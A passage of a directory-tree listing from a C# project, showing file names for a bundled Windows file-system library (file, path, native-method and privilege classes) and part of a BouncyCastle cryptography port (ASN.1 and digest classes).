│ │ │ │ │ │ ├── File Compression/ │ │ │ │ │ │ │ ├── File.Compress.cs │ │ │ │ │ │ │ ├── File.CompressTransacted.cs │ │ │ │ │ │ │ ├── File.Decompress.cs │ │ │ │ │ │ │ ├── File.DecompressTransacted.cs │ │ │ │ │ │ │ ├── File.GetCompressedSize.cs │ │ │ │ │ │ │ └── File.GetCompressedSizeTransacted.cs │ │ │ │ │ │ ├── File CopyMove/ │ │ │ │ │ │ │ ├── File.Copy.cs │ │ │ │ │ │ │ ├── File.CopyMoveLogic.cs │ │ │ │ │ │ │ ├── File.CopyMoveNative.cs │ │ │ │ │ │ │ ├── File.CopyTransacted.cs │ │ │ │ │ │ │ ├── File.Move.cs │ │ │ │ │ │ │ ├── File.MoveTransacted.cs │ │ │ │ │ │ │ ├── File.RestartMoveOrThrowException.cs │ │ │ │ │ │ │ ├── File.ValidateFileOrDirectoryMoveArguments.cs │ │ │ │ │ │ │ └── File.VerifyDelayUntilReboot.cs │ │ │ │ │ │ ├── File Core Methods/ │ │ │ │ │ │ │ ├── File.AppendTextCore.cs │ │ │ │ │ │ │ ├── File.CopyMoveCore.cs │ │ │ │ │ │ │ ├── File.CopyTimestampsCore.cs │ │ │ │ │ │ │ ├── File.CreateFileCore.cs │ │ │ │ │ │ │ ├── File.CreateFileStreamCore.cs │ │ │ │ │ │ │ ├── File.CreateHardlinkCore.cs │ │ │ │ │ │ │ ├── File.CreateSymbolicLinkCore.cs │ │ │ │ │ │ │ ├── File.CreateTextCore.cs │ │ │ │ │ │ │ ├── File.DeleteFileCore.cs │ │ │ │ │ │ │ ├── File.EncryptDecryptFileCore.cs │ │ │ │ │ │ │ ├── File.EnumerateAlternateDataStreamsCore.cs │ │ │ │ │ │ │ ├── File.EnumerateHardLinksCore.cs │ │ │ │ │ │ │ ├── File.ExistsCore.cs │ │ │ │ │ │ │ ├── File.FindAllStreamsCore.cs │ │ │ │ │ │ │ ├── File.GetAccessControlCore.cs │ │ │ │ │ │ │ ├── File.GetAttributesExCore.cs │ │ │ │ │ │ │ ├── File.GetChangeTimeCore.cs │ │ │ │ │ │ │ ├── File.GetCompressedSizeCore.cs │ │ │ │ │ │ │ ├── File.GetCreationTimeCore.cs │ │ │ │ │ │ │ ├── File.GetEncryptionStatusCore.cs │ │ │ │ │ │ │ ├── File.GetFileIdInfoCore.cs │ │ │ │ │ │ │ ├── File.GetFileInfoByHandleCore.cs │ │ │ │ │ │ │ ├── File.GetFileSystemEntryInfoCore.cs │ │ │ │ │ │ │ ├── File.GetHashCore.cs │ │ │ │ │ │ │ ├── File.GetLastAccessTimeCore.cs │ │ │ │ │ │ │ ├── File.GetLastWriteTimeCore.cs │ │ │ │ │ │ │ ├── File.GetLinkTargetInfoCore.cs │ │ │ │ │ │ │ ├── File.GetProcessForFileLockCore.cs │ │ │ │ │ │ │ ├── File.GetSizeCore.cs │ │ │ │ │ │ │ ├── File.ImportExportEncryptedFileDirectoryRawCore.cs │ │ │ │ │ │ │ ├── File.IsLockedCore.cs │ │ │ │ │ │ │ ├── File.OpenCore.cs │ │ │ │ │ │ │ ├── File.ReadAllBytesCore.cs │ │ │ │ │ │ │ ├── File.ReadAllLinesCore.cs │ │ │ │ │ │ │ ├── File.ReadAllTextCore.cs │ │ │ │ │ │ │ ├── File.ReadLinesCore.cs │ │ │ │ │ │ │ ├── File.ReplaceCore.cs │ │ │ │ │ │ │ ├── File.SetAccessControlCore.cs │ │ │ │ │ │ │ ├── File.SetAttributesCore.cs │ │ │ │ │ │ │ ├── File.SetFsoDateTimeCore.cs │ │ │ │ │ │ │ ├── File.WriteAllBytesCore.cs │ │ │ │ │ │ │ └── File.WriteAppendAllLinesCore.cs │ │ │ │ │ │ ├── File Encryption/ │ │ │ │ │ │ │ ├── File.Decrypt.cs │ │ │ │ │ │ │ ├── File.Encrypt.cs │ │ │ │ │ │ │ ├── File.ExportEncryptedFileRaw.cs │ │ │ │ │ │ │ ├── File.GetEncryptionStatus.cs │ │ │ │ │ │ │ └── File.ImportEncryptedFileRaw.cs │ │ │ │ │ │ ├── File Junctions, Links/ │ │ │ │ │ │ │ ├── File.CreateHardLink.cs │ │ │ │ │ │ │ ├── File.CreateHardLinkTransacted.cs │ │ │ │ │ │ │ ├── File.CreateSymbolicLink.cs │ │ │ │ │ │ │ ├── File.CreateSymbolicLinkTransacted.cs │ │ │ │ │ │ │ ├── File.EnumerateHardLinks.cs │ │ │ │ │ │ │ ├── File.EnumerateHardLinksTransacted.cs │ │ │ │ │ │ │ ├── File.GetLinkTargetInfo.cs │ │ │ │ │ │ │ └── File.GetLinkTargetInfoTransacted.cs │ │ │ │ │ │ ├── File Time/ │ │ │ │ │ │ │ ├── File.CopyTimestamps.cs │ │ │ │ │ │ │ ├── File.CopyTimestampsTransacted.cs │ │ │ │ │ │ │ ├── File.GetChangeTime.cs │ │ │ │ │ │ │ ├── File.GetChangeTimeTransacted.cs │ │ │ │ │ │ │ ├── File.GetChangeTimeUtc.cs │ │ │ │ │ │ │ ├── File.GetChangeTimeUtcTransacted.cs │ │ │ │ │ │ │ ├── File.GetCreationTime.cs │ │ │ │ │ │ │ ├── File.GetCreationTimeTransacted.cs │ │ │ │ │ │ │ ├── File.GetCreationTimeUtc.cs │ │ │ │ │ │ │ ├── File.GetCreationTimeUtcTransacted.cs │ │ │ │ │ │ │ ├── File.GetLastAccessTime.cs │ │ │ │ │ │ │ ├── File.GetLastAccessTimeTransacted.cs │ │ │ │ │ │ │ ├── File.GetLastAccessTimeUtc.cs │ │ │ │ │ │ │ ├── File.GetLastAccessTimeUtcTransacted.cs │ │ │ │ │ │ │ ├── File.GetLastWriteTime.cs │ │ │ │ │ │ │ ├── File.GetLastWriteTimeTransacted.cs │ │ │ │ │ │ │ ├── File.GetLastWriteTimeUtc.cs │ │ │ │ │ │ │ ├── File.GetLastWriteTimeUtcTransacted.cs │ │ │ │ │ │ │ ├── File.SetCreationTime.cs │ │ │ │ │ │ │ ├── File.SetCreationTimeTransacted.cs │ │ │ │ │ │ │ ├── File.SetCreationTimeUtc.cs │ │ │ │ │ │ │ ├── File.SetCreationTimeUtcTransacted.cs │ │ │ │ │ │ │ ├── File.SetLastAccessTime.cs │ │ │ │ │ │ │ ├── File.SetLastAccessTimeTransacted.cs │ │ │ │ │ │ │ ├── File.SetLastAccessTimeUtc.cs │ │ │ │ │ │ │ ├── File.SetLastAccessTimeUtcTransacted.cs │ │ │ │ │ │ │ ├── File.SetLastWriteTime.cs │ │ │ │ │ │ │ ├── File.SetLastWriteTimeTransacted.cs │ │ │ │ │ │ │ ├── File.SetLastWriteTimeUtc.cs │ │ │ │ │ │ │ ├── File.SetLastWriteTimeUtcTransacted.cs │ │ │ │ │ │ │ ├── File.SetTimestamps.cs │ │ │ │ │ │ │ ├── File.SetTimestampsTransacted.cs │ │ │ │ │ │ │ ├── File.SetTimestampsUtc.cs │ │ │ │ │ │ │ └── File.SetTimestampsUtcTransacted.cs │ │ │ │ │ │ ├── File.AppendAllLines.cs │ │ │ │ │ │ ├── File.AppendAllLinesTransacted.cs │ │ │ │ │ │ ├── File.AppendAllText.cs │ │ │ │ │ │ ├── File.AppendAllTextTransacted.cs │ │ │ │ │ │ ├── File.AppendText.cs │ │ │ │ │ │ ├── File.AppendTextTransacted.cs │ │ │ │ │ │ ├── File.AttributeLogic.cs │ │ │ │ │ │ ├── File.Create.cs │ │ │ │ │ │ ├── File.CreateText.cs │ │ │ │ │ │ ├── File.CreateTextTransacted.cs │ │ │ │ │ │ ├── File.CreateTransacted.cs │ │ │ │ │ │ ├── File.Delete.cs │ │ │ │ │ │ ├── File.DeleteTransacted.cs │ │ │ │ │ │ ├── File.EnumerateAlternateDataStreams.cs │ │ │ │ │ │ ├── File.EnumerateAlternateDataStreamsTransacted.cs │ │ │ │ │ │ ├── File.Exists.cs │ │ │ │ │ │ ├── File.ExistsTransacted.cs │ │ │ │ │ │ ├── File.FindFirstStreamNative.cs │ │ │ │ │ │ ├── File.GetAccessControl.cs │ │ │ │ │ │ ├── File.GetAttributes.cs │ │ │ │ │ │ ├── File.GetAttributesTransacted.cs │ │ │ │ │ │ ├── File.GetFileIdInfo.cs │ │ │ │ │ │ ├── File.GetFileIdInfoTransacted.cs │ │ │ │ │ │ ├── File.GetFileInfoByHandle.cs │ │ │ │ │ │ ├── File.GetFileInfoByHandleTransacted.cs │ │ │ │ │ │ ├── File.GetFileSystemEntryInfo.cs │ │ │ │ │ │ ├── File.GetFileSystemEntryInfoTransacted.cs │ │ │ │ │ │ ├── File.GetHash.cs │ │ │ │ │ │ ├── File.GetHashTransacted.cs │ │ │ │ │ │ ├── File.GetProcessForFileLock.cs │ │ │ │ │ │ ├── File.GetProcessForFileLockTransacted.cs │ │ │ │ │ │ ├── File.GetSize.cs │ │ │ │ │ │ ├── File.GetSizeTransacted.cs │ │ │ │ │ │ ├── File.IsLocked.cs │ │ │ │ │ │ ├── File.IsLockedTransacted.cs │ │ │ │ │ │ ├── File.Open.cs │ │ │ │ │ │ ├── File.OpenBackupRead.cs │ │ │ │ │ │ ├── File.OpenBackupReadTransacted.cs │ │ │ │ │ │ ├── File.OpenRead.cs │ │ │ │ │ │ ├── File.OpenReadTransacted.cs │ │ │ │ │ │ ├── File.OpenText.cs │ │ │ │ │ │ ├── File.OpenTextTransacted.cs │ │ │ │ │ │ ├── File.OpenTransacted.cs │ │ │ │ │ │ ├── File.OpenWrite.cs │ │ │ │ │ │ ├── File.OpenWriteTransacted.cs │ │ │ │ │ │ ├── File.ReadAllBytes.cs │ │ │ │ │ │ ├── File.ReadAllBytesTransacted.cs │ │ │ │ │ │ ├── File.ReadAllLines.cs │ │ │ │ │ │ ├── File.ReadAllLinesTransacted.cs │ │ │ │ │ │ ├── File.ReadAllText.cs │ │ │ │ │ │ ├── File.ReadAllTextTransacted.cs │ │ │ │ │ │ ├── File.ReadLines.cs │ │ │ │ │ │ ├── File.ReadLinesTransacted.cs │ │ │ │ │ │ ├── File.Replace.cs │ │ │ │ │ │ ├── File.SetAccessControl.cs │ │ │ │ │ │ ├── File.SetAttributes.cs │ │ │ │ │ │ ├── File.SetAttributesTransacted.cs │ │ │ │ │ │ ├── File.ThrowIOExceptionIfFsoExist.cs │ │ │ │ │ │ ├── File.WriteAllBytes.cs │ │ │ │ │ │ ├── File.WriteAllBytesTransacted.cs │ │ │ │ │ │ ├── File.WriteAllLines.cs │ │ │ │ │ │ ├── File.WriteAllLinesTransacted.cs │ │ │ │ │ │ ├── File.WriteAllText.cs │ │ │ │ │ │ ├── File.WriteAllTextTransacted.cs │ │ │ │ │ │ └── File.cs │ │ │ │ │ ├── FileIdBothDirectoryInfo.cs │ │ │ │ │ ├── FileInfo Class/ │ │ │ │ │ │ ├── FileInfo Compression/ │ │ │ │ │ │ │ ├── FileInfo.Compress.cs │ │ │ │ │ │ │ └── FileInfo.Decompress.cs │ │ │ │ │ │ ├── FileInfo CopyToMoveTo/ │ │ │ │ │ │ │ ├── FileInfo.CopyTo.cs │ │ │ │ │ │ │ ├── FileInfo.CopyToMoveToCore.cs │ │ │ │ │ │ │ └── FileInfo.MoveTo.cs │ │ │ │ │ │ ├── FileInfo Encryption/ │ │ │ │ │ │ │ ├── FileInfo.Decrypt.cs │ │ │ │ │ │ │ └── FileInfo.Encrypt.cs │ │ │ │ │ │ ├── FileInfo.AppendText.cs │ │ │ │ │ │ ├── FileInfo.Create.cs │ │ │ │ │ │ ├── FileInfo.CreateText.cs │ │ │ │ │ │ ├── FileInfo.Delete.cs │ │ │ │ │ │ ├── FileInfo.EnumerateAlternateDataStreams.cs │ │ │ │ │ │ ├── FileInfo.GetAccessControl.cs │ │ │ │ │ │ ├── FileInfo.GetFileIdInfo.cs │ │ │ │ │ │ ├── FileInfo.GetHash.cs │ │ │ │ │ │ ├── FileInfo.IsLocked.cs │ │ │ │ │ │ ├── FileInfo.Open.cs │ │ │ │ │ │ ├── FileInfo.OpenRead.cs │ │ │ │ │ │ ├── FileInfo.OpenText.cs │ │ │ │ │ │ ├── FileInfo.OpenWrite.cs │ │ │ │ │ │ ├── FileInfo.RefreshEntryInfo.cs │ │ │ │ │ │ ├── FileInfo.Replace.cs │ │ │ │ │ │ ├── FileInfo.SetAccessControl.cs │ │ │ │ │ │ └── FileInfo.cs │ │ │ │ │ ├── FileSystemEntryInfo.cs │ │ │ │ │ ├── FileSystemInfo.cs │ │ │ │ │ ├── FindFileSystemEntryInfo.cs │ │ │ │ │ ├── KernelTransaction.cs │ │ │ │ │ ├── Link Stream/ │ │ │ │ │ │ ├── AlternateDataStreamInfo.cs │ │ │ │ │ │ ├── BackupFileStream.cs │ │ │ │ │ │ ├── BackupStreamInfo.cs │ │ │ │ │ │ ├── LinkTargetInfo.cs │ │ │ │ │ │ └── SymbolicLinkTargetInfo.cs │ │ │ │ │ ├── Native Methods/ │ │ │ │ │ │ ├── NativeMethods.BackupStreams.cs │ │ │ │ │ │ ├── NativeMethods.Constants.cs │ │ │ │ │ │ ├── NativeMethods.DeviceManagement.cs │ │ │ │ │ │ ├── NativeMethods.DirectoryManagement.cs │ │ │ │ │ │ ├── NativeMethods.DiskManagement.cs │ │ │ │ │ │ ├── NativeMethods.EncryptedFileRaw.cs │ │ │ │ │ │ ├── NativeMethods.FileManagement.cs │ │ │ │ │ │ ├── NativeMethods.Handles.cs │ │ │ │ │ │ ├── NativeMethods.KernelTransactions.cs │ │ │ │ │ │ ├── NativeMethods.PathManagement.cs │ │ │ │ │ │ ├── NativeMethods.Shell32.cs │ │ │ │ │ │ ├── NativeMethods.Utilities.cs │ │ │ │ │ │ └── NativeMethods.VolumeManagement.cs │ │ │ │ │ ├── Native Other/ │ │ │ │ │ │ ├── BY_HANDLE_FILE_INFORMATION.cs │ │ │ │ │ │ ├── COPY_FILE_FLAGS.cs │ │ │ │ │ │ ├── FILETIME.cs │ │ │ │ │ │ ├── FILE_BASIC_INFO.cs │ │ │ │ │ │ ├── FILE_ID_BOTH_DIR_INFO.cs │ │ │ │ │ │ ├── FILE_ID_INFO.cs │ │ │ │ │ │ ├── FILE_INFO_BY_HANDLE_CLASS.cs │ │ │ │ │ │ ├── FINDEX_INFO_LEVELS.cs │ │ │ │ │ │ ├── FINDEX_SEARCH_OPS.cs │ │ │ │ │ │ ├── FIND_FIRST_EX_FLAGS.cs │ │ │ │ │ │ ├── GET_FILEEX_INFO_LEVELS.cs │ │ │ │ │ │ ├── MOVE_FILE_FLAGS.cs │ │ │ │ │ │ ├── MountPointReparseBuffer.cs │ │ │ │ │ │ ├── REPARSE_DATA_BUFFER.cs │ │ │ │ │ │ ├── ReparseDataBufferHeader.cs │ │ │ │ │ │ ├── SP_DEVICE_INTERFACE_DATA.cs │ │ │ │ │ │ ├── SP_DEVICE_INTERFACE_DETAIL_DATA.cs │ │ │ │ │ │ ├── SP_DEVINFO_DATA.cs │ │ │ │ │ │ ├── STREAM_ATTRIBUTE.cs │ │ │ │ │ │ ├── STREAM_ID.cs │ │ │ │ │ │ ├── STREAM_INFO_LEVELS.cs │ │ │ │ │ │ ├── SymbolicLinkReparseBuffer.cs │ │ │ │ │ │ ├── VOLUME_INFO_FLAGS.cs │ │ │ │ │ │ ├── WIN32_FILE_ATTRIBUTE_DATA.cs │ │ │ │ │ │ ├── WIN32_FIND_DATA.cs │ │ │ │ │ │ ├── WIN32_FIND_STREAM_DATA.cs │ │ │ │ │ │ └── WIN32_STREAM_ID.cs │ │ │ │ │ ├── Path Class/ │ │ │ │ │ │ ├── Path Core Methods/ │ │ │ │ │ │ │ ├── Path.AddTrailingDirectorySeparatorCore.cs │ │ │ │ │ │ │ ├── Path.CombineCore.cs │ │ │ │ │ │ │ ├── Path.GetDirectoryNameCore.cs │ │ │ │ │ │ │ ├── Path.GetDirectoryNameWithoutRootCore.cs │ │ │ │ │ │ │ ├── Path.GetExtensionCore.cs │ │ │ │ │ │ │ ├── Path.GetFileNameCore.cs │ │ │ │ │ │ │ ├── Path.GetFileNameWithoutExtensionCore.cs │ │ │ │ │ │ │ ├── Path.GetFinalPathNameByHandleCore.cs │ │ │ │ │ │ │ ├── Path.GetFullPathCore.cs │ │ │ │ │ │ │ ├── Path.GetLongPathCore.cs │ │ │ │ │ │ │ ├── Path.GetLongShort83PathCore.cs │ │ │ │ │ │ │ ├── Path.GetPathRootCore.cs │ │ │ │ │ │ │ ├── Path.GetRegularPathCore.cs │ │ │ │ │ │ │ ├── Path.GetSuffixedDirectoryNameCore.cs │ │ │ │ │ │ │ ├── Path.GetSuffixedDirectoryNameWithoutRootCore.cs │ │ │ │ │ │ │ ├── Path.GetTempPathCore.cs │ │ │ │ │ │ │ ├── Path.IsPathRootedCore.cs │ │ │ │ │ │ │ ├── Path.IsUncPathCore.cs │ │ │ │ │ │ │ ├── Path.LocalToUncCore.cs │ │ │ │ │ │ │ └── Path.RemoveTrailingDirectorySeparatorCore.cs │ │ │ │ │ │ ├── Path.AddTrailingDirectorySeparator.cs │ │ │ │ │ │ ├── Path.ChangeExtension.cs │ │ │ │ │ │ ├── Path.Combine.cs │ │ │ │ │ │ ├── Path.Constants.cs │ │ │ │ │ │ ├── Path.GetDirectoryName.cs │ │ │ │ │ │ ├── Path.GetDirectoryNameWithoutRoot.cs │ │ │ │ │ │ ├── Path.GetDirectoryNameWithoutRootTransacted.cs │ │ │ │ │ │ ├── Path.GetExtension.cs │ │ │ │ │ │ ├── Path.GetFileName.cs │ │ │ │ │ │ ├── Path.GetFileNameWithoutExtension.cs │ │ │ │ │ │ ├── Path.GetFinalPathNameByHandle.cs │ │ │ │ │ │ ├── Path.GetFullPath.cs │ │ │ │ │ │ ├── Path.GetFullPathTransacted.cs │ │ │ │ │ │ ├── Path.GetInvalidFileNameChars.cs │ │ │ │ │ │ ├── Path.GetInvalidPathChars.cs │ │ │ │ │ │ ├── Path.GetLongFrom83ShortPath.cs │ │ │ │ │ │ ├── Path.GetLongFrom83ShortPathTransacted.cs │ │ │ │ │ │ ├── Path.GetLongPath.cs │ │ │ │ │ │ ├── Path.GetPathRoot.cs │ │ │ │ │ │ ├── Path.GetRandomFileName.cs │ │ │ │ │ │ ├── Path.GetRegularPath.cs │ │ │ │ │ │ ├── Path.GetRelativePath.cs │ │ │ │ │ │ ├── Path.GetShort83Path.cs │ │ │ │ │ │ ├── Path.GetShort83PathTransacted.cs │ │ │ │ │ │ ├── Path.GetSuffixedDirectoryName.cs │ │ │ │ │ │ ├── Path.GetSuffixedDirectoryNameTransacted.cs │ │ │ │ │ │ ├── Path.GetSuffixedDirectoryNameWithoutRoot.cs │ │ │ │ │ │ ├── Path.GetSuffixedDirectoryNameWithoutRootTransacted.cs │ │ │ │ │ │ ├── Path.GetTempFileName.cs │ │ │ │ │ │ ├── Path.GetTempPath.cs │ │ │ │ │ │ ├── Path.HasExtension.cs │ │ │ │ │ │ ├── Path.Helpers.cs │ │ │ │ │ │ ├── Path.IsLogicalDrive.cs │ │ │ │ │ │ ├── Path.IsLongPath.cs │ │ │ │ │ │ ├── Path.IsPathRooted.cs │ │ │ │ │ │ ├── Path.IsUncPath.cs │ │ │ │ │ │ ├── Path.IsValidName.cs │ │ │ │ │ │ ├── Path.LocalToUnc.cs │ │ │ │ │ │ ├── Path.RemoveTrailingDirectorySeparator.cs │ │ │ │ │ │ └── Path.cs │ │ │ │ │ ├── Shell32.cs │ │ │ │ │ ├── Shell32Info.cs │ │ │ │ │ └── Structures, Enumerations/ │ │ │ │ │ ├── CopyMoveProgressCallbackReason.cs │ │ │ │ │ ├── CopyMoveProgressResult.cs │ │ │ │ │ ├── CopyOptions.cs │ │ │ │ │ ├── DeviceGuid.cs │ │ │ │ │ ├── DiGetClassFlags.cs │ │ │ │ │ ├── DirectoryEnumerationFilters.cs │ │ │ │ │ ├── DirectoryEnumerationOptions.cs │ │ │ │ │ ├── DosDeviceAttributes.cs │ │ │ │ │ ├── EncryptedFileRawMode.cs │ │ │ │ │ ├── ErrorMode.cs │ │ │ │ │ ├── ExtendedFileAttributes.cs │ │ │ │ │ ├── FileEncryptionStatus.cs │ │ │ │ │ ├── FileIdInfo.cs │ │ │ │ │ ├── FinalPathFormats.cs │ │ │ │ │ ├── GetFullPathOptions.cs │ │ │ │ │ ├── MoveOptions.cs │ │ │ │ │ ├── PathFormat.cs │ │ │ │ │ ├── ReparsePointTag.cs │ │ │ │ │ ├── SetupDiGetDeviceRegistryPropertyEnum.cs │ │ │ │ │ ├── StreamAttribute.cs │ │ │ │ │ ├── StreamId.cs │ │ │ │ │ ├── SymbolicLinkTarget.cs │ │ │ │ │ └── SymbolicLinkType.cs │ │ │ │ ├── NativeError.cs │ │ │ │ ├── OperatingSystem.cs │ │ │ │ ├── Resources.Designer.cs │ │ │ │ ├── Resources.resx │ │ │ │ ├── Safe Handles/ │ │ │ │ │ ├── SafeCmConnectMachineHandle.cs │ │ │ │ │ ├── SafeEncryptedFileRawHandle.cs │ │ │ │ │ ├── SafeFindFileHandle.cs │ │ │ │ │ ├── SafeFindVolumeHandle.cs │ │ │ │ │ ├── SafeFindVolumeMountPointHandle.cs │ │ │ │ │ ├── SafeGlobalMemoryBufferHandle.cs │ │ │ │ │ ├── SafeKernelTransactionHandle.cs │ │ │ │ │ ├── SafeLocalMemoryBufferHandle.cs │ │ │ │ │ ├── SafeNativeMemoryBufferHandle.cs │ │ │ │ │ ├── SafeSetupDiClassDevsExHandle.cs │ │ │ │ │ └── SafeTokenHandle.cs │ │ │ │ ├── Security/ │ │ │ │ │ ├── CRC/ │ │ │ │ │ │ ├── Crc32.cs │ │ │ │ │ │ ├── Crc64.cs │ │ │ │ │ │ └── HashType.cs │ │ │ │ │ ├── InternalPrivilegeEnabler.cs │ │ │ │ │ ├── Native Methods/ │ │ │ │ │ │ ├── NativeMethods.AdjustTokenPrivileges.cs │ │ │ │ │ │ ├── NativeMethods.Constants.cs │ │ │ │ │ │ ├── NativeMethods.GetNamedSecurityInfo.cs │ │ │ │ │ │ ├── NativeMethods.GetSecurityDescriptorControl.cs │ │ │ │ │ │ ├── NativeMethods.GetSecurityDescriptorDacl.cs │ │ │ │ │ │ ├── NativeMethods.GetSecurityDescriptorGroup.cs │ │ │ │ │ │ ├── NativeMethods.GetSecurityDescriptorLength.cs │ │ │ │ │ │ ├── NativeMethods.GetSecurityDescriptorOwner.cs │ │ │ │ │ │ ├── NativeMethods.GetSecurityDescriptorSacl.cs │ │ │ │ │ │ ├── NativeMethods.GetSecurityInfo.cs │ │ │ │ │ │ ├── NativeMethods.GetTokenInformation.cs │ │ │ │ │ │ ├── NativeMethods.LocalFree.cs │ │ │ │ │ │ ├── NativeMethods.LookupPrivilegeDisplayName.cs │ │ │ │ │ │ ├── NativeMethods.LookupPrivilegeValue.cs │ │ │ │ │ │ ├── NativeMethods.OpenProcessToken.cs │ │ │ │ │ │ ├── NativeMethods.SetNamedSecurityInfo.cs │ │ │ │ │ │ └── NativeMethods.SetSecurityInfo.cs │ │ │ │ │ ├── Native Other/ │ │ │ │ │ │ ├── Luid.cs │ │ │ │ │ │ ├── SECURITY_DESCRIPTOR_CONTROL.cs │ │ │ │ │ │ ├── SECURITY_INFORMATION.cs │ │ │ │ │ │ ├── SE_OBJECT_TYPE.cs │ │ │ │ │ │ ├── TOKEN.cs │ │ │ │ │ │ ├── TOKEN_ELEVATION_TYPE.cs │ │ │ │ │ │ ├── TOKEN_INFORMATION_CLASS.cs │ │ │ │ │ │ └── TOKEN_PRIVILEGES.cs │ │ │ │ │ ├── Privilege.cs │ │ │ │ │ ├── PrivilegeEnabler.cs │ │ │ │ │ ├── ProcessContext.cs │ │ │ │ │ └── SecurityAttributes.cs │ │ │ │ ├── Utils.cs │ │ │ │ └── Win32Errors.cs │ │ │ ├── BouncyCastle/ │ │ │ │ ├── CryptoException.cs │ │ │ │ ├── DataLengthException.cs │ │ │ │ ├── ICipherParameters.cs │ │ │ │ ├── IDigest.cs │ │ │ │ ├── README.md │ │ │ │ ├── asn1/ │ │ │ │ │ ├── Asn1Encodable.cs │ │ │ │ │ ├── Asn1EncodableVector.cs │ │ │ │ │ ├── Asn1Exception.cs │ │ │ │ │ ├── Asn1InputStream.cs │ │ │ │ │ ├── Asn1Null.cs │ │ │ │ │ ├── Asn1Object.cs │ │ │ │ │ ├── Asn1OctetString.cs │ │ │ │ │ ├── Asn1OctetStringParser.cs │ │ │ │ │ ├── Asn1OutputStream.cs │ │ │ │ │ ├── Asn1ParsingException.cs │ │ │ │ │ ├── Asn1Sequence.cs │ │ │ │ │ ├── Asn1SequenceParser.cs │ │ │ │ │ ├── Asn1Set.cs │ │ │ │ │ ├── Asn1SetParser.cs │ │ │ │ │ ├── Asn1StreamParser.cs │ │ │ │ │ ├── Asn1TaggedObject.cs │ │ │ │ │ ├── Asn1TaggedObjectParser.cs │ │ │ │ │ ├── Asn1Tags.cs │ │ │ │ │ ├── BerApplicationSpecific.cs │ │ │ │ │ ├── BerApplicationSpecificParser.cs │ │ │ │ │ ├── BerBitString.cs │ │ │ │ │ ├── BerOctetString.cs │ │ │ │ │ ├── BerOctetStringParser.cs │ │ │ │ │ ├── BerOutputStream.cs │ │ │ │ │ ├── BerSequence.cs │ │ │ │ │ ├── BerSequenceParser.cs │ │ │ │ │ ├── BerSet.cs │ │ │ │ │ ├── BerSetParser.cs │ │ │ │ │ ├── BerTaggedObject.cs │ │ │ │ │ ├── BerTaggedObjectParser.cs │ │ │ │ │ ├── ConstructedOctetStream.cs │ │ │ │ │ ├── DefiniteLengthInputStream.cs │ │ │ │ │ ├── DerApplicationSpecific.cs │ │ │ │ │ ├── DerBitString.cs │ │ │ │ │ ├── DerBmpString.cs │ │ │ │ │ ├── DerBoolean.cs │ │ │ │ │ ├── DerEnumerated.cs │ │ │ │ │ ├── DerExternal.cs │ │ │ │ │ ├── DerExternalParser.cs │ │ │ │ │ ├── DerGeneralString.cs │ │ │ │ │ ├── DerGeneralizedTime.cs │ │ │ │ │ ├── DerGraphicString.cs │ │ │ │ │ ├── DerIA5String.cs │ │ │ │ │ ├── DerInteger.cs │ │ │ │ │ ├── DerNull.cs │ │ │ │ │ ├── DerNumericString.cs │ │ │ │ │ ├── DerObjectIdentifier.cs │ │ │ │ │ ├── DerOctetString.cs │ │ │ │ │ ├── DerOctetStringParser.cs │ │ │ │ │ ├── DerOutputStream.cs │ │ │ │ │ ├── DerPrintableString.cs │ │ │ │ │ ├── DerSequence.cs │ │ │ │ │ ├── DerSequenceParser.cs │ │ │ │ │ ├── DerSet.cs │ │ │ │ │ ├── DerSetParser.cs │ │ │ │ │ ├── DerStringBase.cs │ │ │ │ │ ├── DerT61String.cs │ │ │ │ │ ├── DerTaggedObject.cs │ │ │ │ │ ├── DerUniversalString.cs │ │ │ │ │ ├── DerUtcTime.cs │ │ │ │ │ ├── DerUtf8String.cs │ │ │ │ │ ├── DerVideotexString.cs │ │ │ │ │ ├── DerVisibleString.cs │ │ │ │ │ ├── IAsn1ApplicationSpecificParser.cs │ │ │ │ │ ├── IAsn1Choice.cs │ │ │ │ │ ├── IAsn1Convertible.cs │ │ │ │ │ ├── IAsn1String.cs │ │ │ │ │ ├── IndefiniteLengthInputStream.cs │ │ │ │ │ ├── LimitedInputStream.cs │ │ │ │ │ ├── OidTokenizer.cs │ │ │ │ │ ├── cryptopro/ │ │ │ │ │ │ └── CryptoProObjectIdentifiers.cs │ │ │ │ │ ├── gm/ │ │ │ │ │ │ └── GMObjectIdentifiers.cs │ │ │ │ │ ├── misc/ │ │ │ │ │ │ └── MiscObjectIdentifiers.cs │ │ │ │ │ ├── nist/ │ │ │ │ │ │ └── NistObjectIdentifiers.cs │ │ │ │ │ ├── pkcs/ │ │ │ │ │ │ └── PkcsObjectIdentifiers.cs │ │ │ │ │ ├── rosstandart/ │ │ │ │ │ │ └── RosstandartObjectIdentifiers.cs │ │ │ │ │ ├── teletrust/ │ │ │ │ │ │ └── TeleTrusTObjectIdentifiers.cs │ │ │ │ │ ├── ua/ │ │ │ │ │ │ └── UAObjectIdentifiers.cs │ │ │ │ │ └── util/ │ │ │ │ │ └── FilterStream.cs │ │ │ │ ├── crypto/ │ │ │ │ │ ├── Check.cs │ │ │ │ │ ├── IBlockCipher.cs │ │ │ │ │ ├── IXof.cs │ │ │ │ │ ├── InvalidCipherTextException.cs │ │ │ │ │ ├── OutputLengthException.cs │ │ │ │ │ ├── digests/ │ │ │ │ │ │ ├── Blake2bDigest.cs │ │ │ │ │ │ ├── Blake2sDigest.cs │ │ │ │ │ │ ├── CSHAKEDigest.cs │ │ │ │ │ │ ├── DSTU7564Digest.cs │ │ │ │ │ │ ├── GOST3411Digest.cs │ │ │ │ │ │ ├── GOST3411_2012Digest.cs │ │ │ │ │ │ ├── GOST3411_2012_256Digest.cs │ │ │ │ │ │ ├── GOST3411_2012_512Digest.cs │ │ │ │ │ │ ├── GeneralDigest.cs │ │ │ │ │ │ ├── KeccakDigest.cs │ │ │ │ │ │ ├── LongDigest.cs │ │ │ │ │ │ ├── MD2Digest.cs │ │ │ │ │ │ ├── MD4Digest.cs │ │ │ │ │ │ ├── MD5Digest.cs │ │ │ │ │ │ ├── NonMemoableDigest.cs │ │ │ │ │ │ ├── NullDigest.cs │ │ │ │ │ │ ├── RipeMD128Digest.cs │ │ │ │ │ │ ├── RipeMD160Digest.cs │ │ │ │ │ │ ├── RipeMD256Digest.cs │ │ │ │ │ │ ├── RipeMD320Digest.cs │ │ │ │ │ │ ├── SHA3Digest.cs │ │ │ │ │ │ ├── SM3Digest.cs │ │ │ │ │ │ ├── Sha1Digest.cs │ │ │ │ │ │ ├── Sha224Digest.cs │ │ │ │ │ │ ├── Sha256Digest.cs │ │ │ │ │ │ ├── Sha384Digest.cs │ │ │ │ 